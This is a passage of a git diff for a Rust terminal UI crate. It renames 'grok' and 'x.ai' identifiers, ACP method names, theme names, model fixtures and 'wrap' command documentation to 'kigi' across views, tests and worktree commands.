         pw.accept_slash_completion(&models);
         let text = pw.textarea.text().to_string();
         assert!(
-            text.contains("Grok 4.5"),
+            text.contains("Kigi 4.5"),
             "arg should be replaced, got: {:?}",
             text
         );
@@ -4303,7 +4303,7 @@
     // -- Predicted-next-prompt suggestion through PromptWidget ----------------
 
     /// Widget with an active gate and a loaded suggestion — the state right
-    /// after a turn ends with `x.ai/suggestPrompt` resolved.
+    /// after a turn ends with `kigi/suggestPrompt` resolved.
     fn widget_with_prompt_suggestion(text: &str) -> PromptWidget {
         let mut pw = PromptWidget::new();
         pw.prompt_suggestion_active = true;
diff --git a/crates/codegen/kigi-tui/src/views/question_view.rs b/crates/codegen/kigi-tui/src/views/question_view.rs
index dc1465c..67f9697 100644
--- a/crates/codegen/kigi-tui/src/views/question_view.rs
+++ b/crates/codegen/kigi-tui/src/views/question_view.rs
@@ -14,7 +14,7 @@ use std::time::Instant;
 
 use kigi_acp_lib::AcpResult;
 use kigi_markdown::StreamingMarkdownRenderer;
-pub use kigi_tools::implementations::grok_build::ask_user_question::{
+pub use kigi_tools::implementations::kigi::ask_user_question::{
     AskUserQuestionMode, Question, QuestionOption,
 };
 use ratatui::buffer::Buffer;
@@ -68,7 +68,7 @@ pub enum QuestionFocus {
 }
 
 /// Pager-internal origin for a locally-opened question (one that was NOT
-/// driven by an ACP `x.ai/ask_user_question` request).
+/// driven by an ACP `kigi/ask_user_question` request).
 ///
 /// Drives what `submit_question_answers` returns when the user submits.
 /// Mutually exclusive with `QuestionViewState.response_tx`: a local
@@ -118,7 +118,7 @@ pub enum LocalQuestionKind {
 
 /// Complete state for the question view overlay.
 ///
-/// Created when an `x.ai/ask_user_question` ext-method request arrives;
+/// Created when an `kigi/ask_user_question` ext-method request arrives;
 /// destroyed on submit, skip, or cancel.
 ///
 /// Not `Clone` because it owns a `oneshot::Sender` for the ACP response.
@@ -171,7 +171,7 @@ pub struct QuestionViewState {
     /// `Some(1)` = Skip interview.
     pub bottom_panel_index: Option<usize>,
     /// `Some` when this question was opened locally (e.g. by `/fork`)
-    /// instead of by an ACP `x.ai/ask_user_question` request. `None` for
+    /// instead of by an ACP `kigi/ask_user_question` request. `None` for
     /// ACP questions (preserves today's behaviour).
     ///
     /// Mutually exclusive with `response_tx`: a local question never has
@@ -210,7 +210,7 @@ impl QuestionViewState {
 
     /// Create a new question view state with an ACP response sender.
     ///
-    /// Called by the `ExtMethod` handler when a blocking `x.ai/ask_user_question`
+    /// Called by the `ExtMethod` handler when a blocking `kigi/ask_user_question`
     /// request arrives from the shell coordinator.
     pub fn with_response_tx(
         tool_call_id: String,
@@ -724,7 +724,7 @@ impl QuestionViewState {
     /// the current freeform text so the caller can load it into the prompt.
     ///
     /// No-op returning an empty string when `no_freeform` is set: such
-    /// questions (e.g. the SuperGrok upsell) have no freeform row, so
+    /// questions (e.g. the subscription upsell) have no freeform row, so
     /// `InputMode` must be unreachable. Callers gate on `no_freeform` /
     /// [`Self::is_on_freeform_row`] too; this is defense in depth.
     pub fn activate_freeform_input(&mut self) -> String {
@@ -812,10 +812,9 @@ impl QuestionViewState {
     /// - Notes included when freeform text is non-empty and selected.
     pub fn build_accepted_response(
         &self,
-    ) -> kigi_tools::implementations::grok_build::ask_user_question::AskUserQuestionExtResponse
-    {
+    ) -> kigi_tools::implementations::kigi::ask_user_question::AskUserQuestionExtResponse {
         use indexmap::IndexMap;
-        use kigi_tools::implementations::grok_build::ask_user_question::{
+        use kigi_tools::implementations::kigi::ask_user_question::{
             AskUserQuestionExtResponse, QuestionAnnotation,
         };
         use std::collections::HashMap;
@@ -899,7 +898,7 @@ impl QuestionViewState {
     /// double-send.
     pub fn send_ext_response(
         &mut self,
-        response: kigi_tools::implementations::grok_build::ask_user_question::AskUserQuestionExtResponse,
+        response: kigi_tools::implementations::kigi::ask_user_question::AskUserQuestionExtResponse,
     ) -> bool {
         let Some(tx) = self.response_tx.take() else {
             return false;
@@ -2545,7 +2544,7 @@ mod tests {
 
     // ── no_freeform ────────────────────────────────────────────────────
 
-    /// `no_freeform` questions (e.g. the SuperGrok upsell) have no "Other"
+    /// `no_freeform` questions (e.g. the subscription upsell) have no "Other"
     /// row, so activating freeform input must be impossible: focus stays in
     /// Navigation and nothing gets marked selected. Regression test for the
     /// upsell modal letting the user type after clicking under the last
diff --git a/crates/codegen/kigi-tui/src/views/queue_pane.rs b/crates/codegen/kigi-tui/src/views/queue_pane.rs
index 5bccec7..b2f377a 100644
--- a/crates/codegen/kigi-tui/src/views/queue_pane.rs
+++ b/crates/codegen/kigi-tui/src/views/queue_pane.rs
@@ -43,7 +43,7 @@ pub enum QueueRowOrigin {
     /// any idle-drained prompt). Edits mutate the local queue directly.
     Local,
     /// A server-authoritative `shared_prompt_queues` entry (plain prompt queued
-    /// while running). Edits route to the agent as `x.ai/queue/*`.
+    /// while running). Edits route to the agent as `kigi/queue/*`.
     Server,
 }
 
@@ -385,7 +385,7 @@ pub struct QueuePane {
     /// Theme kind at the last render. Used to detect a theme switch and
     /// refresh `list_style`, whose `selection_bg` is captured from the theme
     /// (otherwise the focused-row highlight keeps the previous theme's
-    /// `bg_highlight` — e.g. GrokNight's dark band leaking into GrokDay).
+    /// `bg_highlight` — e.g. KigiNight's dark band leaking into KigiDay).
     last_theme: ThemeKind,
     /// Shared visibility/focus state.
     pub overlay: OverlayState,
@@ -827,8 +827,8 @@ impl QueuePane {
         // Detect a theme switch and refresh the list chrome style. Its
         // `selection_bg` (the focused-row highlight) is captured from the
         // theme's `bg_highlight`; without this it would keep the theme active
-        // at construction (default GrokNight, dark) after the user switches —
-        // painting a dark band on a light GrokDay canvas.
+        // at construction (default KigiNight, dark) after the user switches —
+        // painting a dark band on a light KigiDay canvas.
         let current_theme = Theme::current_kind();
         if current_theme != self.last_theme {
             self.last_theme = current_theme;
diff --git a/crates/codegen/kigi-tui/src/views/scroll_debug_hud.rs b/crates/codegen/kigi-tui/src/views/scroll_debug_hud.rs
index aa97f67..fdcead1 100644
--- a/crates/codegen/kigi-tui/src/views/scroll_debug_hud.rs
+++ b/crates/codegen/kigi-tui/src/views/scroll_debug_hud.rs
@@ -3,7 +3,7 @@
 //! A compact top-right overlay painting a per-frame snapshot of the scroll
 //! state machine ([`MouseScrollState::debug_snapshot`]) plus the active
 //! scrollback's viewport facts, inside a REAL session with the REAL event
-//! loop. Recipe: `KIGI_FPS=1 KIGI_SCROLL_DEBUG=1 grok --resume <session>`,
+//! loop. Recipe: `KIGI_FPS=1 KIGI_SCROLL_DEBUG=1 kigi --resume <session>`,
 //! then flip `scroll_mode` / `scroll_lines` / `invert_scroll` /
 //! `scroll_speed` in `/settings` to compare variants live. For event-exact
 //! capture beyond this per-frame sampling, add `KIGI_SCROLL_LOG=1` — the
diff --git a/crates/codegen/kigi-tui/src/views/session_picker.rs b/crates/codegen/kigi-tui/src/views/session_picker.rs
index 9c76431..e715bec 100644
--- a/crates/codegen/kigi-tui/src/views/session_picker.rs
+++ b/crates/codegen/kigi-tui/src/views/session_picker.rs
@@ -157,7 +157,7 @@ impl SourceFilter {
 
     /// Returns `true` if a session with the given `source` string passes the filter.
     ///
-    /// grok.com conversations carry `source == "conversation"` and live remotely,
+    /// kimi.com conversations carry `source == "conversation"` and live remotely,
     /// so they pass the `Remote` filter (and `All`) but not `Local`.
     pub fn matches(self, source: &str) -> bool {
         match self {
@@ -1192,7 +1192,7 @@ mod tests {
         assert!(!SourceFilter::Remote.matches("local"));
         assert!(!SourceFilter::Remote.matches("cursor"));
 
-        // grok.com conversations are remote: visible under All + Remote, not Local.
+        // kimi.com conversations are remote: visible under All + Remote, not Local.
         assert!(SourceFilter::All.matches("conversation"));
         assert!(SourceFilter::Remote.matches("conversation"));
         assert!(!SourceFilter::Local.matches("conversation"));
diff --git a/crates/codegen/kigi-tui/src/views/settings_modal.rs b/crates/codegen/kigi-tui/src/views/settings_modal.rs
index 35d37d3..10171cb 100644
--- a/crates/codegen/kigi-tui/src/views/settings_modal.rs
+++ b/crates/codegen/kigi-tui/src/views/settings_modal.rs
@@ -1285,8 +1285,8 @@ fn render_row_list_with_search_bar(
 
 fn render_docs_footer(buf: &mut Buffer, area: Rect, theme: &Theme) {
     const LONG: &str =
-        "Tip · Ask Grok: \"change theme to grokday\" or \"what does compact mode do?\"";
-    const SHORT: &str = "Tip · Ask Grok to change a setting";
+        "Tip · Ask Kigi: \"change theme to kigiday\" or \"what does compact mode do?\"";
+    const SHORT: &str = "Tip · Ask Kigi to change a setting";
     let text = modal_window::fit_tip_line(&[LONG, SHORT], area.width as usize);
     modal_window::render_centered_tip_footer(buf, area, theme, text.as_ref());
 }
@@ -1743,7 +1743,7 @@ const PICKER_MARKER_W: u16 = 1;
 /// The chooser already scrolls within the viewport when the focused choice
 /// falls off-screen (`picker_scroll_offset`); this limit exists so catalogs
 /// stay intentionally curated rather than unbounded. Sized to fit the full
-/// Grok STT language list (25 codes + client-only `auto` = 26) with headroom.
+/// Kigi STT language list (25 codes + client-only `auto` = 26) with headroom.
 pub(crate) const MAX_PICKER_CHOICES: usize = 32;
 
 /// Render the shared sub-pane header (bold title row + word-wrapped description)
@@ -6572,8 +6572,8 @@ mod tests {
         let registry = SettingsRegistry::from_entries(vec![synthetic_meta]);
         let snapshot = PagerLocalSnapshot {
             available_models: vec![(
-                "Grok Test".to_string(),
-                acp::ModelId::new(Arc::from("grok-test")),
+                "Kigi Test".to_string(),
+                acp::ModelId::new(Arc::from("kigi-test")),
             )],
             ..PagerLocalSnapshot::default()
         };
@@ -6596,7 +6596,7 @@ mod tests {
     /// buffers that fit entirely within the visible window.
     #[test]
     fn render_editing_value_cursor_at_logical_position_when_buffer_fits() {
-        let mut s = editor_render_fixture("Grok Test", 4); // cursor between "Grok" and " Test"
+        let mut s = editor_render_fixture("Kigi Test", 4); // cursor between "Kigi" and " Test"
         let area = Rect {
             x: 0,
             y: 0,
@@ -7280,9 +7280,9 @@ mod tests {
     #[test]
     fn picking_enum_esc_dispatches_preview_revert_for_each_key() {
         let cases: &[(&str, &str)] = &[
-            ("theme", "groknight"),
-            ("auto_dark_theme", "groknight"),
-            ("auto_light_theme", "grokday"),
+            ("theme", "kiginight"),
+            ("auto_dark_theme", "kiginight"),
+            ("auto_light_theme", "kigiday"),
         ];
         for &(key, original) in cases {
             let mut s = make_state();
@@ -7331,18 +7331,18 @@ mod tests {
         s.mode = SettingsModalMode::PickingEnum {
             key: "theme",
             choices_idx: 0,
-            original_value: SettingValue::Enum("groknight"),
+            original_value: SettingValue::Enum("kiginight"),
             supports_preview: true,
         };
         let outcome = handle_settings_key(&mut s, &KeyEvent::new(KeyCode::Esc, KeyModifiers::NONE));
         match outcome {
             SettingsKeyOutcome::Action(Action::PreviewTheme(name)) => {
                 assert_eq!(
-                    name, "groknight",
+                    name, "kiginight",
                     "Esc revert must dispatch the original canonical"
                 );
             }
-            other => panic!("expected Action::PreviewTheme(\"groknight\") on Esc, got {other:?}"),
+            other => panic!("expected Action::PreviewTheme(\"kiginight\") on Esc, got {other:?}"),
         }
         assert!(matches!(s.mode, SettingsModalMode::Browse));
     }
@@ -9000,14 +9000,14 @@ mod tests {
                 assert!(
                     validation_error.is_some(),
                     "validation_error must be Some for unknown model 'a' \
-                     (catalog has 'Grok 4 Fast' only)",
+                     (catalog has 'Kigi 4 Fast' only)",
                 );
             }
             _ => panic!("mode must remain EditingValue after char input"),
         }
 
         // Enter on a buffer that fails the KnownModel validator
-        // (catalog has 'Grok 4 Fast'; "a" doesn't match) is
+        // (catalog has 'Kigi 4 Fast'; "a" doesn't match) is
         // Unchanged — commit refused.
         let outcome =
             handle_settings_key(&mut s, &KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
@@ -9053,8 +9053,8 @@ mod tests {
         let mut s = make_state();
         s.mode = SettingsModalMode::EditingValue {
             key: "default_model",
-            buffer: "grok-4".to_string(),
-            cursor_byte: "grok-4".len(),
+            buffer: "kigi-4".to_string(),
+            cursor_byte: "kigi-4".len(),
             validation_error: None,
         };
         let outcome = handle_settings_key(&mut s, &KeyEvent::new(KeyCode::Esc, KeyModifiers::NONE));
@@ -9880,7 +9880,7 @@ mod tests {
     }
 
     // -- User-feedback follow-up: always reserve a blank line between
-    //    the "Tip · Ask Grok…" docs footer and the keybindings hints.
+    //    the "Tip · Ask Kigi…" docs footer and the keybindings hints.
     //
     // Before this fix, when the hints wrapped to 2 lines (narrow modal
     // widths) the chrome's 2-row footer was fully consumed by hint
@@ -10683,7 +10683,7 @@ mod tests {
         );
 
         // SHORT path: width that fits SHORT but not LONG.
-        // SHORT = "Tip · Ask Grok to change a setting" (34 cells);
+        // SHORT = "Tip · Ask Kigi to change a setting" (34 cells);
         // LONG ≈ 73 cells. width=40 lands in the SHORT band.
         let (row_short, tip_start_short, trailing_short) = render(40);
         assert!(
@@ -10691,8 +10691,8 @@ mod tests {
             "width=40 must render SHORT path (contains `change a setting`): {row_short:?}",
         );
         assert!(
-            !row_short.contains("grokday"),
-            "width=40 must NOT render LONG path (no `grokday`): {row_short:?}",
+            !row_short.contains("kigiday"),
+            "width=40 must NOT render LONG path (no `kigiday`): {row_short:?}",
         );
         assert!(
             tip_start_short.abs_diff(trailing_short) <= 1,
@@ -10736,7 +10736,7 @@ mod tests {
         let mut tip_y: Option<u16> = None;
         for y in 0..area.height {
             let txt = buf_row_text(&buf, y, area.x, area.width);
-            if txt.contains("Tip") && txt.contains("Ask Grok") {
+            if txt.contains("Tip") && txt.contains("Ask Kigi") {
                 tip_y = Some(y);
                 break;
             }
@@ -11044,17 +11044,17 @@ mod tests {
         // For preview-supporting enums (theme), the breadcrumb-
         // click revert dispatches `Action::PreviewTheme(original)`.
         // The original canonical for the default theme is
-        // `"groknight"`. Tightened from the previous `Action(_) |
+        // `"kiginight"`. Tightened from the previous `Action(_) |
         // Changed` to lock in the revert contract.
         match outcome {
             SettingsKeyOutcome::Action(Action::PreviewTheme(orig)) => {
                 assert_eq!(
-                    orig, "groknight",
+                    orig, "kiginight",
                     "breadcrumb-click revert must carry the original canonical",
                 );
             }
             other => panic!(
-                "expected Action(PreviewTheme(\"groknight\")) — the keyboard \
+                "expected Action(PreviewTheme(\"kiginight\")) — the keyboard \
                  Esc-equivalent revert — got {other:?}",
             ),
         }
@@ -11098,7 +11098,7 @@ mod tests {
             }
             other => panic!("expected PickingEnum, got {other:?}"),
         };
-        // Pick a different index. The default theme is `groknight`
+        // Pick a different index. The default theme is `kiginight`
         // (index 1 per the registry); advance to index 0 to ensure
         // we're navigating to a different value.
         let target_idx = if advanced_idx == 0 { 1 } else { 0 };
@@ -11158,11 +11158,11 @@ mod tests {
                     key, "theme",
                     "OpenResetConfirm key must be the active picker setting",
                 );
-                // Default theme is `groknight`; entering the picker
-                // captures `original_value = current value = groknight`,
+                // Default theme is `kiginight`; entering the picker
+                // captures `original_value = current value = kiginight`,
                 // so the revert dispatches with that canonical.
                 assert_eq!(
-                    orig, "groknight",
+                    orig, "kiginight",
                     "PreviewTheme revert must carry the original canonical",
                 );
             }
@@ -11628,9 +11628,9 @@ mod tests {
     /// regardless of how much the bg tokens differ in luma.
     ///
     /// The previous name `_title_bg_is_darker_than_content_bg` was
-    /// misleading: on dark themes (GrokNight, TokyoNight, RosePine
+    /// misleading: on dark themes (KigiNight, TokyoNight, RosePine
     /// Moon) `bg_visual` is actually *lighter* than `bg_highlight`;
-    /// only on the GrokDay light theme is title darker. The
+    /// only on the KigiDay light theme is title darker. The
     /// contract that the rendering code actually relies on is "title
     /// uses the heavier / more-saturated `bg_visual` token, content
     /// uses `bg_highlight`, plus an UNDERLINED title modifier for
@@ -11686,14 +11686,14 @@ mod tests {
         // raw theme directly so this assertion survives `NO_COLOR`
         // / 256-color quantization.
         let raw_theme = match crate::theme::Theme::current_kind() {
-            crate::theme::ThemeKind::GrokNight => crate::theme::Theme::groknight(),
+            crate::theme::ThemeKind::KigiNight => crate::theme::Theme::kiginight(),
             crate::theme::ThemeKind::TokyoNight => crate::theme::Theme::tokyonight(),
-            crate::theme::ThemeKind::GrokDay => crate::theme::Theme::grokday(),
+            crate::theme::ThemeKind::KigiDay => crate::theme::Theme::kigiday(),
             crate::theme::ThemeKind::RosePineMoon => crate::theme::Theme::rosepine_moon(),
             // Resolved via `Theme::current()` rather than a constructor
             // because `theme::oscura` is a private module.
             crate::theme::ThemeKind::OscuraMidnight => crate::theme::Theme::current(),
-            crate::theme::ThemeKind::Auto => crate::theme::Theme::groknight(),
+            crate::theme::ThemeKind::Auto => crate::theme::Theme::kiginight(),
         };
         assert_ne!(
             raw_theme.bg_visual, raw_theme.bg_highlight,
diff --git a/crates/codegen/kigi-tui/src/views/suggestion_controller/mod.rs b/crates/codegen/kigi-tui/src/views/suggestion_controller/mod.rs
index 86a2618..eb092cc 100644
--- a/crates/codegen/kigi-tui/src/views/suggestion_controller/mod.rs
+++ b/crates/codegen/kigi-tui/src/views/suggestion_controller/mod.rs
@@ -7,7 +7,7 @@
 //! unnecessary network requests.
 //!
 //! ACP integration: on text change (after debounce), sends an
-//! `x.ai/suggest` request through the Effect pipeline. Stale responses
+//! `kigi/suggest` request through the Effect pipeline. Stale responses
 //! are discarded via generation tracking.
 
 /// Source of a shell command suggestion.
@@ -46,14 +46,14 @@ pub(crate) struct GhostTextState {
     pub(crate) generation: u64,
 }
 
-/// Parsed ghost suggestion from an ACP `x.ai/suggest` response.
+/// Parsed ghost suggestion from an ACP `kigi/suggest` response.
 #[derive(Debug, Clone)]
 pub struct GhostSuggestionParsed {
     pub suffix: String,
     pub source: SuggestionSource,
 }
 
-/// A single completion item from an ACP `x.ai/suggest` response.
+/// A single completion item from an ACP `kigi/suggest` response.
 // `Default` (empty item) exists for downstream test fixtures — functional-
 // update construction (`..Default::default()`) keeps out-of-crate literals
 // (e.g. kigi-pager-minimal's) compiling when optional fields are added.
@@ -87,7 +87,7 @@ impl CompletionItemParsed {
     }
 }
 
-/// Parsed response from an ACP `x.ai/suggest` request.
+/// Parsed response from an ACP `kigi/suggest` request.
 #[derive(Debug, Clone)]
 pub struct SuggestResponseParsed {
     pub ghost: Option<GhostSuggestionParsed>,
@@ -96,7 +96,7 @@ pub struct SuggestResponseParsed {
 }
 
 impl SuggestResponseParsed {
-    /// Parse a raw JSON value from an ACP `x.ai/suggest` response.
+    /// Parse a raw JSON value from an ACP `kigi/suggest` response.
     pub fn from_json(value: &serde_json::Value) -> Option<Self> {
         let result = value.get("result").unwrap_or(value);
         let generation = result.get("generation")?.as_u64()?;
@@ -197,7 +197,7 @@ pub enum SuggestionAction {
     Debounce { generation: u64 },
 }
 
-/// Wire `limit` for `x.ai/suggest` fetches. Matches the shell file
+/// Wire `limit` for `kigi/suggest` fetches. Matches the shell file
 /// provider's ranked-result cap (`MAX_RESULTS` in the shell crate's
 /// `file_provider.rs`): the provider ranks BEFORE capping, the dropdown
 /// renders 6 rows and scrolls the rest. Both fetch sites (Tab and the
@@ -326,7 +326,7 @@ pub struct SuggestionController {
     /// Whether AI-powered suggestions are enabled.
     /// Resolved at construction from `KIGI_SUGGESTIONS_AI` env var.
     pub ai_enabled: bool,
-    /// Model to use for AI suggestions. Sent in the `x.ai/suggest` request.
+    /// Model to use for AI suggestions. Sent in the `kigi/suggest` request.
     /// Resolved at construction from `KIGI_SUGGESTIONS_AI_MODEL` env var.
     pub ai_model: Option<String>,
 }
@@ -734,7 +734,7 @@ impl SuggestionController {
         generation == self.generation
     }
 
-    /// Called when an ACP `x.ai/suggest` response arrives, with the text and
+    /// Called when an ACP `kigi/suggest` response arrives, with the text and
     /// cursor the request was built from (the anchor item `replace_range`
     /// offsets index into, and the position Tab targets). Takes ownership to
     /// avoid copying strings. Discards stale responses.
diff --git a/crates/codegen/kigi-tui/src/views/suggestion_controller/tests.rs b/crates/codegen/kigi-tui/src/views/suggestion_controller/tests.rs
index 2e7786c..7b04d0f 100644
--- a/crates/codegen/kigi-tui/src/views/suggestion_controller/tests.rs
+++ b/crates/codegen/kigi-tui/src/views/suggestion_controller/tests.rs
@@ -1112,7 +1112,7 @@ fn tab_decision_rangeless_rows_never_get_token_semantics() {
     let mut sc = decision_controller("ls | gr");
     sc.dropdown.items = vec![
         rangeless,
-        span_item("grokfile", 5..7, SuggestionSource::FilePath),
+        span_item("kigifile", 5..7, SuggestionSource::FilePath),
     ];
     assert_eq!(sc.tab_decision("ls | gr", "ls | gr".len()), TabAction::Open);
 
diff --git a/crates/codegen/kigi-tui/src/views/tasks_pane.rs b/crates/codegen/kigi-tui/src/views/tasks_pane.rs
index 505656d..4e0bb38 100644
--- a/crates/codegen/kigi-tui/src/views/tasks_pane.rs
+++ b/crates/codegen/kigi-tui/src/views/tasks_pane.rs
@@ -2791,7 +2791,7 @@ mod tests {
     fn entry_label_includes_meta() {
         let mut info = make_info();
         info.persona = Some("researcher".into());
-        info.model = Some("grok-3".into());
+        info.model = Some("kigi-3".into());
         let entry = TaskEntry::from_subagent(&info);
         let label = match &entry {
             TaskEntry::Agent { label, .. } => label.as_str(),
@@ -2802,7 +2802,7 @@ mod tests {
             "label should contain capitalized persona: {label}",
         );
         assert!(
-            label.contains("grok-3"),
+            label.contains("kigi-3"),
             "label should contain model: {label}",
         );
     }
diff --git a/crates/codegen/kigi-tui/src/worktree_cmd/mod.rs b/crates/codegen/kigi-tui/src/worktree_cmd/mod.rs
index 4bcdc6e..39bacaa 100644
--- a/crates/codegen/kigi-tui/src/worktree_cmd/mod.rs
+++ b/crates/codegen/kigi-tui/src/worktree_cmd/mod.rs
@@ -95,7 +95,7 @@ enum WorktreeDbCommand {
 
 pub async fn run(args: WorktreeArgs, agent_config: &AgentConfig) -> Result<()> {
     let cancel = CancellationToken::new();
-    let spawned = crate::acp::spawn::spawn_grok_shell(agent_config.clone(), &cancel, None).await?;
+    let spawned = crate::acp::spawn::spawn_kigi_shell(agent_config.clone(), &cancel, None).await?;
 
     let _init: acp::InitializeResponse = acp_send(
         acp::InitializeRequest::new(acp::ProtocolVersion::V1)
@@ -188,7 +188,7 @@ async fn cmd_list(
 ) -> Result<()> {
     let records: Vec<WorktreeRecord> = ext_call(
         tx,
-        "x.ai/git/worktree/list",
+        "kigi/git/worktree/list",
         &serde_json::json!({
             "repo": repo,
             "type": types,
@@ -208,7 +208,7 @@ async fn cmd_list(
 async fn cmd_show(tx: &kigi_acp_lib::AcpAgentTx, id_or_path: &str) -> Result<()> {
     let rec: Option<WorktreeRecord> = ext_call(
         tx,
-        "x.ai/git/worktree/show",
+        "kigi/git/worktree/show",
         &serde_json::json!({ "idOrPath": id_or_path }),
     )
     .await?;
@@ -239,7 +239,7 @@ async fn cmd_rm(
     for id_or_path in &ids {
         let resp: Result<RemoveResponse> = ext_call(
             tx,
-            "x.ai/git/worktree/remove",
+            "kigi/git/worktree/remove",
             &serde_json::json!({
                 "idOrPath": id_or_path,
                 "force": force,
@@ -271,7 +271,7 @@ async fn cmd_gc(
 ) -> Result<()> {
     let report: GcReport = ext_call(
         tx,
-        "x.ai/git/worktree/gc",
+        "kigi/git/worktree/gc",
         &serde_json::json!({
             "dryRun": dry_run,
             "maxAge": max_age,
@@ -290,7 +290,7 @@ async fn cmd_gc(
 async fn cmd_db(tx: &kigi_acp_lib::AcpAgentTx, command: WorktreeDbCommand) -> Result<()> {
     match command {
         WorktreeDbCommand::Stats => {
-            let stats: DbStats = ext_call(tx, "x.ai/git/worktree/db/stats", &()).await?;
+            let stats: DbStats = ext_call(tx, "kigi/git/worktree/db/stats", &()).await?;
             display::print_stats(&stats);
             Ok(())
         }
@@ -299,12 +299,12 @@ async fn cmd_db(tx: &kigi_acp_lib::AcpAgentTx, command: WorktreeDbCommand) -> Re
             struct PathResp {
                 path: String,
             }
-            let resp: PathResp = ext_call(tx, "x.ai/git/worktree/db/path", &()).await?;
+            let resp: PathResp = ext_call(tx, "kigi/git/worktree/db/path", &()).await?;
             println!("{}", resp.path);
             Ok(())
         }
         WorktreeDbCommand::Rebuild => {
-            let report: RebuildReport = ext_call(tx, "x.ai/git/worktree/db/rebuild", &()).await?;
+            let report: RebuildReport = ext_call(tx, "kigi/git/worktree/db/rebuild", &()).await?;
             display::print_rebuild(&report);
             Ok(())
         }
@@ -318,7 +318,7 @@ mod tests {
     #[test]
     fn ext_request_builds_list_with_filters() {
         let req = ext_request(
-            "x.ai/git/worktree/list",
+            "kigi/git/worktree/list",
             &serde_json::json!({
                 "repo": "xai",
                 "type": ["session"],
@@ -326,7 +326,7 @@ mod tests {
             }),
         )
         .unwrap();
-        assert_eq!(req.method.as_ref(), "x.ai/git/worktree/list");
+        assert_eq!(req.method.as_ref(), "kigi/git/worktree/list");
         let params: serde_json::Value = serde_json::from_str(req.params.get()).unwrap();
         assert_eq!(params["repo"], "xai");
         assert_eq!(params["includeAll"], true);
@@ -335,7 +335,7 @@ mod tests {
     #[test]
     fn ext_request_builds_gc_with_max_age_string() {
         let req = ext_request(
-            "x.ai/git/worktree/gc",
+            "kigi/git/worktree/gc",
             &serde_json::json!({
                 "dryRun": true,
                 "maxAge": "7d",
@@ -351,7 +351,7 @@ mod tests {
     #[test]
     fn ext_request_builds_remove_with_id_or_path() {
         let req = ext_request(
-            "x.ai/git/worktree/remove",
+            "kigi/git/worktree/remove",
             &serde_json::json!({
                 "idOrPath": "wt-abc123",
                 "force": true,
@@ -366,7 +366,7 @@ mod tests {
     #[test]
     fn ext_request_builds_show() {
         let req = ext_request(
-            "x.ai/git/worktree/show",
+            "kigi/git/worktree/show",
             &serde_json::json!({ "idOrPath": "/some/path" }),
         )
         .unwrap();
@@ -376,8 +376,8 @@ mod tests {
 
     #[test]
     fn ext_request_builds_db_stats_empty_params() {
-        let req = ext_request("x.ai/git/worktree/db/stats", &()).unwrap();
-        assert_eq!(req.method.as_ref(), "x.ai/git/worktree/db/stats");
+        let req = ext_request("kigi/git/worktree/db/stats", &()).unwrap();
+        assert_eq!(req.method.as_ref(), "kigi/git/worktree/db/stats");
     }
 
     #[test]
diff --git a/crates/codegen/kigi-tui/src/wrap_clipboard_image.rs b/crates/codegen/kigi-tui/src/wrap_clipboard_image.rs
index df4f4c1..ba827b0 100644
--- a/crates/codegen/kigi-tui/src/wrap_clipboard_image.rs
+++ b/crates/codegen/kigi-tui/src/wrap_clipboard_image.rs
@@ -1,4 +1,4 @@
-//! Host clipboard image paste mediated by `grok wrap`.
+//! Host clipboard image paste mediated by `kigi wrap`.
 //!
 //! On a full remote paste miss (no image/text/file URLs) with
 //! `osc52_sink_active()`, remote emits a private OSC on stderr; wrap injects a
@@ -8,8 +8,8 @@
 //!
 //! Answering the private request OSC is effectively an image clipboard *read*
 //! for the wrapped session: any process that can write to the PTY (not only
-//! the inner `grok`) can solicit the host pasteboard. That is intentional and
-//! acceptable for `grok wrap` because (1) the user opted into wrap on their
+//! the inner `kigi`) can solicit the host pasteboard. That is intentional and
+//! acceptable for `kigi wrap` because (1) the user opted into wrap on their
 //! own host, (2) the answer stays inside their session, and (3) the remote
 //! only requests when `osc52_sink_active()` (wrap already set
 //! `KIGI_OSC52_SINK` / `LC_KIGI_OSC52_SINK`). Do not generalize this pattern
diff --git a/crates/codegen/kigi-tui/src/wrap_cmd.rs b/crates/codegen/kigi-tui/src/wrap_cmd.rs
index 38b8dd5..76d2645 100644
--- a/crates/codegen/kigi-tui/src/wrap_cmd.rs
+++ b/crates/codegen/kigi-tui/src/wrap_cmd.rs
@@ -1,6 +1,6 @@
-//! `grok wrap` — run any command in a local PTY that forwards its clipboard.
+//! `kigi wrap` — run any command in a local PTY that forwards its clipboard.
 //!
-//! Generalizes the `grok ssh` wrapper: spawns an arbitrary command inside a
+//! Generalizes the `kigi ssh` wrapper: spawns an arbitrary command inside a
 //! local pseudo-terminal, intercepts OSC 52 clipboard escape sequences from
 //! its output, and writes their payload to the local system clipboard. Useful
 //! for containerized or remote shells (`docker exec`, `kubectl exec`, ...)
@@ -8,7 +8,7 @@
 //! that do not handle OSC 52 themselves (for example Apple Terminal).
 //!
 //! Resolvable programs spawn directly. On Unix, commands a direct spawn cannot
-//! run — a single shell-quoted string (`grok wrap "mycli ssh host"`) or a shell
+//! run — a single shell-quoted string (`kigi wrap "mycli ssh host"`) or a shell
 //! alias — are handed to `$SHELL -i -c` instead, so the user's own shell does
 //! the word-splitting and alias expansion. The exec fallback (a non-TTY
 //! session, or PTY setup failure) keeps the same route but drops `-i` to
@@ -20,7 +20,7 @@ use anyhow::Result;
 
 use crate::app::WrapArgs;
 
-/// Run the `grok wrap` command.
+/// Run the `kigi wrap` command.
 ///
 /// On Unix interactive sessions the command runs inside a local PTY so its
 /// OSC 52 clipboard sequences can be intercepted and written to the local
@@ -30,7 +30,7 @@ pub fn run(args: &WrapArgs) -> Result<()> {
     let program = args
         .command
         .first()
-        .ok_or_else(|| anyhow::anyhow!("grok wrap: no command given"))?;
+        .ok_or_else(|| anyhow::anyhow!("kigi wrap: no command given"))?;
 
     // Unix: derive both spawn plans up front from one env snapshot so the PTY
     // attempt and its fallback route consistently. The wrapped run uses
@@ -62,7 +62,7 @@ pub fn run(args: &WrapArgs) -> Result<()> {
             Err(e) => {
                 // PTY setup failed; keep the chosen route without our PTY so
                 // the command still works (just without clipboard forwarding).
-                eprintln!("grok wrap: wrapped mode failed, running without PTY wrapping: {e}");
+                eprintln!("kigi wrap: wrapped mode failed, running without PTY wrapping: {e}");
                 exec_command(&fallback.program, &fallback.args)
             }
         }
@@ -71,7 +71,7 @@ pub fn run(args: &WrapArgs) -> Result<()> {
     }
 }
 
-/// The program and argv `grok wrap` will actually spawn.
+/// The program and argv `kigi wrap` will actually spawn.
 #[derive(Clone)]
 struct SpawnPlan {
     program: String,
@@ -112,7 +112,7 @@ fn derive_spawn(
     };
 
